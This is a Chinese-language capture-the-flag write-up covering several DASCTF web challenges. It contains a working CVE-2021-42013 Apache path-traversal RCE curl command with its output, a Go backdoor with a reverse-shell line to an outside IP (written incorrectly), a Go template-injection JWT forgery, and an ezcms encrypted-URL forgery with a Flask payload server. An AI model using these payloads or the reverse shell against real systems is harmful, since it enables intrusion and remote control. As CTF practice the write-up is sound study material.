Power Cookie
改cookie
admin:1
魔法浏览器
控制台有UA
加上去访问flag.txt即可
getme
看apache版本是这个CVE-2021-42013
直接用payload的话找到的是假flag
发现也可以rce
curl -v --data "echo;ls /" 'node4.buuoj.cn:25956/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32
%65/bin/sh'
* Trying 117.21.200.166:25956...
* Connected to node4.buuoj.cn (117.21.200.166) port 25956 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
> Host: node4.buuoj.cn:25956
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Length: 9
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 21 May 2022 12:26:03 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
bin
boot
dev
diajgk
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
* Connection #0 to host node4.buuoj.cn left intact
这个目录很特别diajgk,去里面观察一下就有了
/diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg
hackme
Go题做得少,但是看到文件上传大概是上传后门一类的,搜到一篇wp
package main
import (
"os/exec"
)
func Read(arg string) ([]byte, error) {
auth := arg[:7]
cmd := arg[7:]
if auth == "funnygo" {
c := exec.Command("bash", "-c", cmd)
output, err := c.CombinedOutput()
//恢复
re := exec.Command("bash", "-c", "cp /tmp/base.so plugins/base.so")
re.Run()
if err != nil {
return nil, err
}
return output, nil
}
return nil, nil
}
func Req(arg string) ([]byte, error){
return nil, nil
}
// 伪造 cookie
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"math/rand"
)
func main() {
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/a",cookieHandler)
r.Run("0.0.0.0:8002")
}
func cookieHandler(c *gin.Context){
s := sessions.Default(c)
s.Set("uname", "admin")
s.Save()
}
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}
模仿里面的go后门写了一个
package main
import (
"os/exec"
)
func main(arg string) ([]byte, error) {
c := exec.Command("bash", "-c", cmd)
output, err := c.CombinedOutput()
//恢复
re := exec.Command("bash", "-c", "bash -i >& /dev/tcp/8.129.42.140/3307 0>&1")
re.Run()
}
以为可以了,但没想到回显Sorry there doesn't seem to be a exp.go.go file
这说明要传exp这个文件
传上去后好像不出网(也可能是我写错了)
重新构造了一个本地回显的exp1.go
package main
import (
"fmt"
"os/exec"
)
func main() {
c := exec.Command("cat", "/flag")
ret, err := c.Output()
if err != nil {
fmt.Println(err)
}
fmt.Println(string(ret))
}
http://36e9592d-d35f-4e48-bc7b-d435f6c5f706.node4.buuoj.cn:81/shortcuts?alias=exp1
fxxkgo
看到源码中有
tpl, err := template.New("").Parse("Logged in as " + acc.id)
template模板渲染函数,没有过滤,可以尝试go ssti
{{.}}
之后访问/auth获取token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.1c8I_PzGiyonSZe3UPM2AB94x07g6DeyJW6uYA2C7eo
访问/ post:id={{.}}&pw=1
获取密钥
fasdf972u1041xu90zm10Av
放入在线网站进行伪造
之后修改token登录获得flag
ezcms
比赛当时时间太短我没做出来,且思路也不对,我跑去官网下载最新版然后打开beyond试图通过比较以获取补丁,再推测漏洞,或许这种做法也可以但目前没有发现
参考DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇 (snowywar.top)
据说烨神开赛一个小时就ak了,膜
访问网站,获取后台admin 用户admin 密码123456,认证码123456,(这个可以审计源码得到,也可以弱口令爆破,也可以参考这篇博客利用bug登录)进入后台,简单测了一下没啥奇怪的东西,接下来看看代码
直接给结论,在\ez\html\sys\apps\controllers\admin\Update.php
有个index方法,提供了下载文件的功能,其中大致逻辑如下
注意到sys_auth这个函数
//字符加密、解密
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
上面写着字符加密、解密,怀疑是与type0,1有关
结合index()代码,由于sys_auth的return的值直接作为后续请求所用的url,故此处应该为解密
本地尝试了一下(Mc_Encryption_Key跟进一下就可以找到)
测试demo
<?php
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
$strings = 'http://192.168.28.175/a.zip';
echo($ss = sys_auth($strings));
echo "<br>";
echo(sys_auth($ss,1));
echo "<br>";
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
不难得出如下结论
所以我们可以写脚本利用了
压缩一个含phpinfo的php文件的zip
然后用上面测试demo得到我们的url=b468YsTOW7valHVFSttuxXG6A11dpgzNzfFPNjA1-yvDfoP9V8TIcZXsp-d1CsOblwmyob/MUxZfqllsxw
(此url加密结果不唯一)
来到update控制器下的index方法进行传参(参考tp的url模式)
/admin.php/update/index?url=b468YsTOW7valHVFSttuxXG6A11dpgzNzfFPNjA1-yvDfoP9V8TIcZXsp-d1CsOblwmyob/MUxZfqllsxw
然后vps上开启python http服务
是因为这个
if($arr['Content-Type'] !== 'application/zip') $this->msg('压缩包不zip类型文件');
我本地尝试getheader,curl去请求,发现是请求不到的
最后跑的flask脚本(或者你使用nginx也可以,正汰大神亦是如此)
from flask import Flask
from flask import send_from_directory
from flask import Flask,make_response
app = Flask(__name__)
@app.route('/exp.zip', methods=['GET'])
def getLogFile():
try:
r=''
response = make_response(r)
response.headers['Content-Type'] = 'application/zip'
#强制改为这个content-type
send_from_directory('','exp.zip')
return response
except Exception as e:
return str(e)
app.run("0.0.0.0",2333)
本地测试一下通过了,说明应该是没问题了,
等一个有情人自己上传到Vps上去吧
访问
http://2fae786e-60d8-44c4-8a0f-3130c388374b.node4.buuoj.cn:81/exp/exp.php